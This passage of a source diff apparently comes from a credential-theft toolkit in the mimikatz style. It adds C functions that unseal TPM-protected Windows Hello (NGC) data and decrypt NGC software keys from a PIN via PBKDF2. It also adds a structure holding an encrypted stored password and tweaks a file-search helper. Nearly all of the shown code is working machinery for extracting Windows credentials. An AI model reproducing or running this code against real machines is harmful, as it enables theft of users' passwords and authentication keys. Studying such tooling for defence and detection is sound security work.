i * 2, L"%02.2X", pbBinary[i]); + if(pcbResult) + *pcbResult = cbBuffer * sizeof(wchar_t); + } + return (PBYTE) data; +} + +SECURITY_STATUS kull_m_crypto_ngc_hardware_unseal(NCRYPT_PROV_HANDLE hProv, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput) +{ + SECURITY_STATUS status; + NCRYPT_KEY_HANDLE hSealKey; + UNK_PIN uPin = {cbPin, 0x46, (PWSTR) pbPin}; + UNK_PADDING uPadding = {0, 1, &uPin}; + DWORD cbResult; + + status = NCryptOpenKey(hProv, &hSealKey, TPM_RSA_SRK_SEAL_KEY, 0, NCRYPT_SILENT_FLAG); + if(status == ERROR_SUCCESS) + { + status = NCryptDecrypt(hSealKey, (PBYTE) pbInput, cbInput, &uPadding, NULL, 0, &cbResult, NCRYPT_SEALING_FLAG); + if(status == ERROR_SUCCESS) + { + if(*ppOutput = (PBYTE) LocalAlloc(LPTR, cbResult)) + { + status = NCryptDecrypt(hSealKey, (PBYTE) pbInput, cbInput, &uPadding, *ppOutput, cbResult, pcbOutput, NCRYPT_SEALING_FLAG); + if(status != ERROR_SUCCESS) + { + PRINT_ERROR(L"NCryptDecrypt(data): 0x%08x\n", status); + *ppOutput = (PBYTE) LocalFree(*ppOutput); + *pcbOutput = 0; + } + } + else status = NTE_NO_MEMORY; + } + else PRINT_ERROR(L"NCryptDecrypt(init): 0x%08x\n", status); + NCryptFreeObject(hSealKey); + } + else PRINT_ERROR(L"NCryptOpenKey(seal): 0x%08x\n", status); + return status; +} + +SECURITY_STATUS kull_m_crypto_ngc_software_decrypt(NCRYPT_PROV_HANDLE hProv, LPCWSTR szKeyName, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput) +{ + SECURITY_STATUS status; + NCRYPT_KEY_HANDLE hKey; + DWORD cbResult, dwSalt, dwIterations, dwSmartCardPin; + BYTE DerivedKey[32] = {0}, *SmartCardPin; + + status = NCryptOpenKey(hProv, &hKey, szKeyName, 0, 0x4000); // ? + if(status == ERROR_SUCCESS) + { + status = NCryptGetProperty(hKey, L"NgcSoftwareKeyPbkdf2Salt", (PBYTE) &dwSalt, sizeof(dwSalt), &cbResult, 0x40000000 | NCRYPT_SILENT_FLAG); // ? + if(status == ERROR_SUCCESS) + { + status = NCryptGetProperty(hKey, L"NgcSoftwareKeyPbkdf2Round", (PBYTE) &dwIterations, sizeof(dwIterations), &cbResult, 0x40000000 | NCRYPT_SILENT_FLAG); // ? + if(status == ERROR_SUCCESS) + { + status = BCryptDeriveKeyPBKDF2(BCRYPT_HMAC_SHA256_ALG_HANDLE, (PUCHAR) pbPin, cbPin - sizeof(wchar_t), (PUCHAR) &dwSalt, sizeof(dwSalt), dwIterations, DerivedKey, sizeof(DerivedKey), 0); + if(status == ERROR_SUCCESS) + { + if(SmartCardPin = kull_m_crypto_ngc_pin_BinaryPinToPinProperty(DerivedKey, sizeof(DerivedKey), &dwSmartCardPin)) + { + status = NCryptSetProperty(hKey, NCRYPT_PIN_PROPERTY, SmartCardPin, dwSmartCardPin - sizeof(wchar_t), NCRYPT_SILENT_FLAG); + if(status == ERROR_SUCCESS) + { + status = NCryptDecrypt(hKey, (PBYTE) pbInput, cbInput, NULL, NULL, 0, &cbResult, NCRYPT_PAD_PKCS1_FLAG | NCRYPT_SILENT_FLAG); + if(status == ERROR_SUCCESS) + { + if(*ppOutput = (PBYTE) LocalAlloc(LPTR, cbResult)) + { + status = NCryptDecrypt(hKey, (PBYTE) pbInput, cbInput, NULL, *ppOutput, cbResult, pcbOutput, NCRYPT_PAD_PKCS1_FLAG | NCRYPT_SILENT_FLAG); + if(status != ERROR_SUCCESS) + { + PRINT_ERROR(L"NCryptDecrypt(data): 0x%08x\n", status); + *ppOutput = (PBYTE) LocalFree(*ppOutput); + *pcbOutput = 0; + } + } + else status = NTE_NO_MEMORY; + } + else PRINT_ERROR(L"NCryptDecrypt(init): 0x%08x\n", status); + } + else PRINT_ERROR(L"NCryptSetProperty(NCRYPT_PIN_PROPERTY): 0x%08x\n", status); + LocalFree(SmartCardPin); + } + else status = NTE_NO_MEMORY; + } + else PRINT_ERROR(L"BCryptDeriveKeyPBKDF2: 0x%08x\n", status); + } + else PRINT_ERROR(L"NCryptGetProperty(NgcSoftwareKeyPbkdf2Round): 0x%08x\n", status); + } + else PRINT_ERROR(L"NCryptGetProperty(NgcSoftwareKeyPbkdf2Salt): 0x%08x\n", status); + NCryptFreeObject(hKey); + } + else PRINT_ERROR(L"NCryptOpenKey(0x4000): 0x%08x\n", status); + return status; } \ No newline at end of file diff --git a/modules/kull_m_crypto_ngc.h b/modules/kull_m_crypto_ngc.h index 0ec2f530..09bf3875 100644 --- a/modules/kull_m_crypto_ngc.h +++ b/modules/kull_m_crypto_ngc.h @@ -5,6 +5,7 @@ */ #pragma once #include "globals.h" +#include "kull_m_crypto.h" #include "kull_m_crypto_sk.h" typedef struct _KIWI_POPKEY { @@ -20,10 +21,36 @@ typedef struct _KIWI_POPKEY_HARD { BYTE data[ANYSIZE_ARRAY]; } KIWI_POPKEY_HARD, *PKIWI_POPKEY_HARD; +typedef struct _KIWI_NGC_CREDENTIAL { + DWORD dwVersion; + DWORD cbEncryptedKey; + DWORD cbIV; + DWORD cbEncryptedPassword; + DWORD cbUnk; + BYTE Data[ANYSIZE_ARRAY]; + // ... +} KIWI_NGC_CREDENTIAL, *PKIWI_NGC_CREDENTIAL; + +typedef struct _UNK_PIN { + DWORD cbData; + DWORD unk0; + PWSTR pData; +} UNK_PIN, *PUNK_PIN; + +typedef struct _UNK_PADDING { + DWORD unk0; + DWORD unk1; + PUNK_PIN pin; +} UNK_PADDING, *PUNK_PADDING; + typedef SECURITY_STATUS (WINAPI * PNCRYPTKEYDERIVATION) (NCRYPT_KEY_HANDLE hKey, NCryptBufferDesc *pParameterList, PUCHAR pbDerivedKey, DWORD cbDerivedKey, DWORD *pcbResult, ULONG dwFlags); // tofix typedef NTSTATUS (WINAPI * PNGCSIGNWITHSYMMETRICPOPKEY) (PBYTE pbKey, DWORD cbKey, PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, PBYTE pbData, DWORD cbData, PBYTE *ppbOutput, PDWORD pcbOutput); // tofix BOOL kull_m_crypto_ngc_keyvalue_derived_software(PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey); BOOL kull_m_crypto_ngc_keyvalue_derived_hardware(PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, LPCWSTR TransportKeyName, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey); BOOL kull_m_crypto_ngc_signature_derived(LPCBYTE pcbKey, DWORD cbKey, LPCBYTE pcbData, DWORD cbData, LPBYTE pbHash, DWORD cbHash); -BOOL kull_m_crypto_ngc_signature_pop(PBYTE pbKey, DWORD cbKey, PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, PBYTE pbData, DWORD cbData, PBYTE *ppbOutput, PDWORD pcbOutput); \ No newline at end of file +BOOL kull_m_crypto_ngc_signature_pop(PBYTE pbKey, DWORD cbKey, PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, PBYTE pbData, DWORD cbData, PBYTE *ppbOutput, PDWORD pcbOutput); + +PBYTE kull_m_crypto_ngc_pin_BinaryPinToPinProperty(LPCBYTE pbBinary, DWORD cbBinary, DWORD *pcbResult); +SECURITY_STATUS kull_m_crypto_ngc_hardware_unseal(NCRYPT_PROV_HANDLE hProv, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput); +SECURITY_STATUS kull_m_crypto_ngc_software_decrypt(NCRYPT_PROV_HANDLE hProv, LPCWSTR szKeyName, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput); \ No newline at end of file diff --git a/modules/kull_m_file.c b/modules/kull_m_file.c index 9193c390..9ab2f477 100644 --- a/modules/kull_m_file.c +++ b/modules/kull_m_file.c @@ -139,7 +139,7 @@ PWCHAR kull_m_file_fullPath(PCWCHAR fileName) return buffer; } -BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO*/, DWORD level, BOOL isPrintInfos, PKULL_M_FILE_FIND_CALLBACK callback, PVOID pvArg) +BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO*/, DWORD level, BOOL isPrintInfos, BOOL isWithDir, PKULL_M_FILE_FIND_CALLBACK callback, PVOID pvArg) { BOOL status = FALSE; DWORD dwAttrib; @@ -181,13 +181,13 @@ BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO { if(isPrintInfos) kprintf(L"%*s" L"%3u %c|'%s\'\n", level << 1, L"", level, (fData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? L'D' : L'F' , fData.cFileName); - if(!(fData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) + if(isWithDir || !(fData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { if(callback) status = callback(level, fullpath, fullpath + dwAttrib, pvArg); } else if(isRecursive && fData.cFileName) - status = kull_m_file_Find(fullpath, filter, TRUE, level + 1, isPrintInfos, callback, pvArg); + status = kull_m_file_Find(fullpath, filter, TRUE, level + 1, isPrintInfos, isWithDir, callback, pvArg); } } } @@ -198,8 +198,8 @@ BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO } } } + LocalFree(fullpath); } - LocalFree(fullpath); } return status; } \ No newline at end of file diff --git a/modules/kull_m_file.h b/modules/kull_m_file.h index a60a290f..6cf25098 100644 --- a/modules/kull_m_file.h +++ b/modules/kull_m_file.h @@ -20,4 +20,4 @@ BOOL kull_m_file_readData(PCWCHAR fileName, PBYTE * data, PDWORD lenght); // for BOOL kull_m_file_readGeneric(PCWCHAR fileName, PBYTE * data, PDWORD lenght, DWORD flags); void kull_m_file_cleanFilename(PWCHAR fileName); PWCHAR kull_m_file_fullPath(PCWCHAR fileName); -BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO*/, DWORD level, BOOL isPrintInfos, PKULL_M_FILE_FIND_CALLBACK callback, PVOID pvArg); \ No newline at end of file +BOOL kull_m_file_Find(PCWCHAR directory, PCWCHAR filter, BOOL isRecursive /*TODO*/, DWORD level, BOOL isPrintInfos, BOOL isWithDir, PKULL_M_FILE_FIND_CALLBACK callback, PVOID pvArg); \ No newline at end of file